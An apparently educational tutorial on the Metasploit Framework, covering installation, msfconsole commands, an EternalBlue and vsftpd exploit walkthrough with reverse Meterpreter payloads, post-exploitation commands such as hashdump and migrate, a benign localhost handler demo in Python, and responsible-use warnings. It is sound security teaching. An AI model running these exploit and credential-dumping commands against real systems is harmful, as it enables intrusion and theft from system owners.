💡

Before you start

You need a terminal and Python 3 for the one hands-on step; to use the real framework, install it from metasploit.com (it ships with Kali and Parrot). Metasploit is not present in the environment that produced this page, so the captured step below demonstrates the handler/session concept with a small, benign Python stand-in; the msfconsole steps describe the real workflow.

🔴 Only ever run Metasploit against a machine you own or are explicitly authorised to test. This is exploitation tooling: pointed at someone else’s system it is a crime, full stop. Build a legal practice lab — Metasploitable, a deliberately vulnerable VM, or a Hack The Box / TryHackMe target — and keep everything on 127.0.0.1 or an isolated lab network. The demo below executes nothing on any target; it only shows how a session is established.

What Is Metasploit

The Metasploit Framework is the world's most widely used open-source penetration testing platform. Developed originally by H.D. Moore in 2003 and now maintained by Rapid7, it provides security professionals with a comprehensive toolkit for discovering vulnerabilities, developing exploits, and validating security defenses.

Metasploit contains thousands of tested exploits, hundreds of payloads, and a rich set of auxiliary modules for tasks like scanning, fuzzing, and credential harvesting. It is the de facto standard in professional penetration testing and is included by default in security-focused Linux distributions like Kali Linux and Parrot OS.

⚠️

Use Metasploit only in authorized lab environments or with explicit written permission.

Running exploits against systems you do not own or have authorization to test is illegal in virtually every jurisdiction. This includes the Computer Fraud and Abuse Act (US), the Computer Misuse Act (UK), and equivalent laws worldwide. Unauthorized use can result in criminal prosecution, civil liability, and permanent career damage. This tutorial is intended solely for learning in controlled lab environments.

Installation and Setup

Metasploit Framework (the open-source edition) can be installed on most Linux distributions, macOS, and Windows. The easiest path is to use Kali Linux, which ships with Metasploit pre-installed.

Installing on Kali Linux

Metasploit comes pre-installed on Kali Linux. If you need to update or reinstall it:

# Update Metasploit to the latest version
sudo apt update
sudo apt install metasploit-framework

# Initialize the database (required for tracking sessions and loot)
sudo msfdb init

# Verify the installation
msfconsole --version

Installing on Ubuntu/Debian

# Install dependencies
sudo apt update
sudo apt install -y curl gnupg2

# Install using the official installer script
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Initialize the database
sudo msfdb init

💡

Metasploit requires PostgreSQL.

The Metasploit database uses PostgreSQL to store host information, vulnerability data, captured credentials, and session logs. Running msfdb init automatically sets up PostgreSQL and creates the required database. Without it, Metasploit still works but you lose the ability to track and search through your findings efficiently.

Setting Up a Practice Lab

Never practice against real systems. Instead, use intentionally vulnerable virtual machines:

Metasploitable 2/3 -- Rapid7's own vulnerable VM, designed specifically for Metasploit practice
DVWA (Damn Vulnerable Web Application) -- a PHP/MySQL web application with deliberate vulnerabilities
VulnHub -- a repository of hundreds of intentionally vulnerable VMs for download
HackTheBox / TryHackMe -- online platforms with legal practice targets

MSF Console Basics

The primary interface for Metasploit is msfconsole, an interactive command-line shell. It provides tab completion, command history, and access to every module in the framework.

# Launch the Metasploit console
msfconsole

On first launch, you will see a banner with ASCII art and statistics about the available modules. The prompt changes to msf6 >, indicating you are inside the console.

Essential Console Commands

# Display help for all commands
msf6 > help

# Check database connectivity
msf6 > db_status

# Search for modules by keyword
msf6 > search type:exploit platform:windows smb

# Get info about a specific module
msf6 > info exploit/windows/smb/ms17_010_eternalblue

# Select a module to use
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# Show configurable options for the selected module
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Go back to the main prompt
msf6 exploit(windows/smb/ms17_010_eternalblue) > back

💡

Tab completion is your best friend.

Press Tab at any point to auto-complete module paths, command names, and option values. For example, typing use exploit/win and pressing Tab will show all Windows exploit modules. This is far faster than memorizing thousands of module paths.

Module Types

Metasploit organizes its functionality into distinct module types. Understanding each type is fundamental to using the framework effectively.

Exploits

Exploit modules take advantage of a specific vulnerability in a target system to deliver a payload. They are categorized by target platform and service.

# Example: list all SMB exploits
msf6 > search type:exploit smb

# Example: list exploits for a specific CVE
msf6 > search cve:2017-0144

Payloads

Payloads are the code that runs on the target system after a successful exploit. Metasploit offers three categories of payloads:

Singles -- self-contained payloads that perform a single action (e.g., add a user, execute a command)
Stagers -- small payloads that establish a communication channel between attacker and target, then download the larger stage
Stages -- larger payloads downloaded by stagers, providing advanced functionality like Meterpreter

# List all available payloads for the current exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

# Set a specific payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Auxiliary Modules

Auxiliary modules perform tasks that do not involve exploitation directly. These include port scanners, service enumerators, fuzzers, brute-force tools, and denial-of-service testers.

# Example: scan for SMB versions on a network
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(scanner/smb/smb_version) > run

Post-Exploitation Modules

Post modules run after you have gained access to a target. They extract information, escalate privileges, pivot through the network, or establish persistence.

# Example: dump password hashes from a compromised Windows system
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(windows/gather/hashdump) > run

Searching, Configuring, and Running Exploits

The typical Metasploit workflow follows a consistent pattern: search for a module, select it, configure the required options, and run it. Here is a complete walkthrough.

Step 1: Search for Modules

The search command accepts keywords, CVE numbers, platforms, and module types:

# Search by keyword
msf6 > search eternalblue

# Search with filters
msf6 > search type:exploit platform:linux name:apache

# Search by CVE identifier
msf6 > search cve:2021-44228

Step 2: Select and Configure

# Select the module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View all options and their current values
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set the target host (RHOSTS = Remote Hosts)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.50

# Set the local host for the reverse connection (LHOST = Local Host)
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100

# Set the payload
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Step 3: Validate and Run

# Check if the target is likely vulnerable (not all exploits support this)
msf6 exploit(windows/smb/ms17_010_eternalblue) > check

# Run the exploit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

⚠️

Always use the "check" command first when available.

The check command tests whether the target is vulnerable without actually running the exploit. Not all modules support it, but when available, it lets you verify the vulnerability before causing any changes to the target system. This is especially important in professional engagements where stability matters.

Meterpreter Basics

Meterpreter (Meta-Interpreter) is Metasploit's most powerful payload. It is an advanced, dynamically extensible payload that runs entirely in memory on the target system, making it difficult to detect with traditional antivirus software. It communicates over an encrypted channel and provides a rich command set for post-exploitation.

Essential Meterpreter Commands

# System information
meterpreter > sysinfo

# Get current user identity
meterpreter > getuid

# List running processes
meterpreter > ps

# Get the current working directory
meterpreter > pwd

# Navigate the file system
meterpreter > cd C:\\Users
meterpreter > ls

# Download a file from the target
meterpreter > download C:\\Users\\target\\Documents\\secret.txt

# Upload a file to the target
meterpreter > upload /home/attacker/tool.exe C:\\temp\\tool.exe

# Take a screenshot of the target's desktop
meterpreter > screenshot

# Attempt to escalate to SYSTEM privileges
meterpreter > getsystem

# Dump password hashes
meterpreter > hashdump

# Drop into a system command shell
meterpreter > shell

# Background the current session (return to msf prompt)
meterpreter > background

# Terminate the session cleanly
meterpreter > exit

💡

Meterpreter runs in memory.

Unlike traditional payloads that write files to disk, Meterpreter operates entirely in the target's RAM. This means it leaves minimal forensic evidence and is harder to detect. However, it also means that the session is lost if the target process crashes or the system reboots. Use the migrate command to move to a more stable process.

Session Management

When running multiple engagements, Metasploit tracks each active connection as a session:

# List all active sessions
msf6 > sessions

# Interact with a specific session
msf6 > sessions -i 1

# Kill a specific session
msf6 > sessions -k 1

# Kill all sessions
msf6 > sessions -K

Database and Workspaces

The Metasploit database stores all information gathered during a penetration test -- discovered hosts, open ports, identified services, captured credentials, and session logs. Workspaces allow you to separate data from different engagements.

# Check database status
msf6 > db_status

# Create a new workspace for a specific engagement
msf6 > workspace -a client-pentest-2026

# Switch between workspaces
msf6 > workspace client-pentest-2026

# List all workspaces
msf6 > workspace

# Import Nmap scan results into the database
msf6 > db_import /path/to/nmap-scan.xml

# View discovered hosts
msf6 > hosts

# View discovered services
msf6 > services

# View captured credentials
msf6 > creds

🎉

Pro tip: integrate Nmap with Metasploit.

You can run Nmap scans directly from inside Metasploit using the db_nmap command. Results are automatically stored in the database: db_nmap -sV -O 192.168.1.0/24. This saves time compared to running Nmap separately and then importing the XML file.

Responsible Use

Metasploit is a double-edged sword. The same capabilities that make it invaluable for security professionals can cause serious harm if misused. Responsible use is not optional -- it is the foundation of ethical hacking.

Written authorization -- never run Metasploit against any system without explicit, written permission from the system owner that defines the scope of testing
Scope boundaries -- stay within the agreed-upon scope; do not pivot to systems outside the engagement boundaries, even if you discover a path to them
Document everything -- log all commands, sessions, and findings; this protects both you and the client
Minimize impact -- prefer non-destructive techniques; avoid denial-of-service exploits unless specifically authorized
Secure your tools -- protect your Metasploit installation and its data; compromised pentest data is a serious breach
Report findings -- vulnerabilities you discover must be reported to the system owner with clear remediation guidance
Clean up -- remove any shells, backdoors, accounts, or artifacts created during testing

⚠️

The "I was just testing" defense does not hold up in court.

Running exploits against systems without authorization is a criminal offense regardless of your intent. Many well-meaning security researchers have faced prosecution for testing systems they believed were in scope but were not covered by their authorization. When in doubt, stop and verify your scope.

Now Do It Yourself: Understand the Metasploit Model in Five Steps

Metasploit looks intimidating but rests on three simple pieces: an exploit that gets code running on a target, a payload that is the code you want run, and a handler that catches the connection the payload makes back to you. You will see a session get established with a harmless stand-in, then map that onto the real msfconsole workflow and the lab where you practise it legally. The captured output below was produced by running the Python demo.

Learn the three pieces before touching a console

Go: nowhere yet — fix the vocabulary first, because every Metasploit command is one of these three.

Do: read this mapping; it is the whole mental model.

EXPLOIT   the bug that lets your code run on the target   (e.g. a vulnerable service)
PAYLOAD   the code that then runs                          (e.g. a reverse shell / Meterpreter)
HANDLER   your listener that the payload connects back to  (LHOST = your IP, LPORT = your port)

You should see: why two addresses matter. A reverse payload dials out from the target to your LHOST:LPORT (it slips past inbound firewalls); a bind payload instead opens a port on the target for you to dial into. Reverse is the default because outbound connections are usually allowed.

If not: if LHOST vs RHOST is confusing, hold onto this: RHOST is the Remote target, LHOST is your Local machine the payload calls home to.

Start a handler and watch a session open

Go: a terminal in a writable folder. This models exploit/multi/handler — the module whose only job is to wait for a payload to call back.

Do: save this as handler.py and run it. It listens on port 4444 (Metasploit’s default), and a benign stand-in “payload” checks in once and stops — no shell, no commands, just the connection.

import socket, threading, time, platform

def handler():
    s = socket.socket(); s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(("127.0.0.1", 4444)); s.listen(1)
    print("[*] Started reverse handler on 127.0.0.1:4444")
    print("[*] Waiting for a session...")
    c, addr = s.accept()
    print("[*] Session 1 opened:", c.recv(200).decode().strip())
    c.close()

threading.Thread(target=handler, daemon=True).start(); time.sleep(0.4)
# the "payload" -- on a REAL, AUTHORISED target this is where a shell would run.
# here it only announces itself and exits.
p = socket.create_connection(("127.0.0.1", 4444), timeout=2)
p.sendall(("host=%s (benign check-in)" % platform.node()).encode()); p.close()
time.sleep(0.3)

You should see: the handler report a session, exactly as msfconsole does when an exploit lands:

[*] Started reverse handler on 127.0.0.1:4444
[*] Waiting for a session...
[*] Session 1 opened: host=target-01 (benign check-in)

That “Session opened” line is the whole goal of an exploit. In real Metasploit, this connection would be a Meterpreter session; here it does nothing but prove the mechanism.

If not: Address already in use means port 4444 is taken — change both 4444s to 4455. The hostname will be your own machine’s, not target-01.

Do it for real: the msfconsole workflow

Go: a terminal with Metasploit installed, and a legal target VM (see step 5). Launch it with msfconsole.

Do: every engagement is the same five commands — find a module, select it, see what it needs, fill that in, run it.

search type:exploit name:vsftpd        # find a module for a known-vulnerable service
use exploit/unix/ftp/vsftpd_234_backdoor
show options                            # what must be set (RHOSTS, sometimes LHOST/LPORT)
set RHOSTS 10.0.0.50                    # the AUTHORISED target
exploit                                 # run it -> "Session 1 opened" if it works

You should see: the same “Session opened” result as your Python demo — because exploit runs the real version of what you just built: deliver the payload, and the handler catches the session. show options is the command you will lean on most; it tells you exactly what a module still needs.

If not: msfconsole: command not found — install Metasploit or use Kali/Parrot. A module that fails often just needs a payload set explicitly: set payload <name> from show payloads.

Know what a session is — and how defenders catch it

Go: think about the connection your handler received.

Do: map what an attacker does next against what a defender sees.

attacker (post-exploitation)        defender (detection)
--------------------------------    ---------------------------------
sessions -i 1   open the session     unexpected OUTBOUND to :4444
sysinfo         profile the host     a new process making network calls
getuid          check privilege      EDR flags Meterpreter behaviour
migrate         hide in a process    egress firewall blocks the call home

You should see: that the reverse connection which makes exploitation easy is also its weakness: it is an outbound connection to an odd port that monitoring can flag. This is why the defensive controls in the other tutorials — egress filtering, network monitoring, EDR — matter: they turn “Session opened” into “alert raised.”

If not: port 4444 is only a default — attackers move to 443 to blend in, which is exactly why defenders inspect behaviour, not just port numbers.

Build a legal lab so you can actually practise

Go: a virtualisation tool (VirtualBox is free) on your own computer.

Do: set up a target you are allowed to attack, on an isolated host-only network so it can never reach the internet.

Metasploitable 2/3   a VM built to be exploited, made for exactly this
Hack The Box         online targets you are explicitly authorised to attack
TryHackMe            guided rooms with a legal, sandboxed target
your own VM          a service you install and misconfigure on purpose

You should see: a safe place where every technique in this tutorial is legal and consequence-free. The single most important habit in this whole field is this one: practise only where you have permission. Skill without that boundary is not ethical hacking — it is just crime with better tools.

If not: if a VM lab is too heavy, TryHackMe runs in the browser — there is no excuse to practise on systems you do not own, and no target on the public internet is fair game just because it is reachable.

🎉

Check yourself before moving on

Without scrolling up: you set LHOST and LPORT on a reverse payload and got “Session 1 opened.” Whose address is LHOST, why does a reverse payload beat a bind payload through a firewall, and what single fact makes all of this legal or illegal? Answer: LHOST is your machine, the one the payload connects back to. A reverse payload makes an outbound connection from the target, which firewalls usually allow, whereas a bind payload needs an inbound port open on the target, which they usually block. And the one fact that decides legality is authorisation: the identical action is a sanctioned test on a system you own or were contracted to test, and a serious crime on any other.

Now do it without the page: change the port in your handler.py from 4444 to 443 and run it again, watching the session still open. Then write one sentence on why an attacker would prefer 443 and what a defender should therefore watch instead of the port number. You have just reasoned about evasion and detection at once.

Summary

In this tutorial, you learned the fundamentals of the Metasploit Framework:

What Metasploit is -- the world's leading open-source penetration testing platform
Installation -- setting up Metasploit and its PostgreSQL database on Kali or Ubuntu
MSF Console -- navigating the interactive console with search, use, show, and set commands
Module types -- exploits, payloads (singles/stagers/stages), auxiliary modules, and post-exploitation modules
Exploit workflow -- searching, configuring RHOSTS/LHOST/PAYLOAD, checking, and running exploits
Meterpreter -- an in-memory payload with commands for navigation, file transfer, privilege escalation, and session management
Database and workspaces -- organizing engagement data and integrating with Nmap
Responsible use -- always requiring written authorization, staying in scope, and documenting findings

🎉

Solid foundation established!

You now understand the core concepts of the Metasploit Framework. To build real skill, set up a lab with Metasploitable or similar intentionally vulnerable VMs and practice the full workflow: scan, identify, exploit, post-exploit, and report. Never practice on systems you do not own.

Metasploit Framework Basics